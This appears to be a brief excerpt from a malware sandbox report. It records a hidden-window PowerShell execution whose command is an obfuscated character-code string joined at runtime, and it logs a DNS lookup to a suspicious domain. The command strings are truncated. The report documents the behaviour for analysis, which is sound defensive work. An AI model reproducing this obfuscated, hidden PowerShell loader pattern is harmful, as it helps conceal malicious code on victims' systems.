Technical Information
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' [StRinG]::joiN( '' , ( '13,88h112w97,109V106V107w9I20h9s71h76V94~4w70u75z67V76s74w93c9s91h72V71I77,70,68,18,13w64,71u96z90I110s72c9w20z9u71~76w94,4z70h75u67h76,74,93c9V122~80u90~93c76h68h7V103w...
- DNS ASK as###asdd.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' [StRinG]::joiN( '' , ( '13,88h112w97,109V106V107w9I20h9s71h76V94~4w70u75z67V76s74w93c9s91h72V71I77,70,68,18,13w64,71u96z90I110s72c9w20z9u71~76w94,4z70h75u67h76,74,93c9V122~80u90~93c76h68h7V103w...' (with hidden window)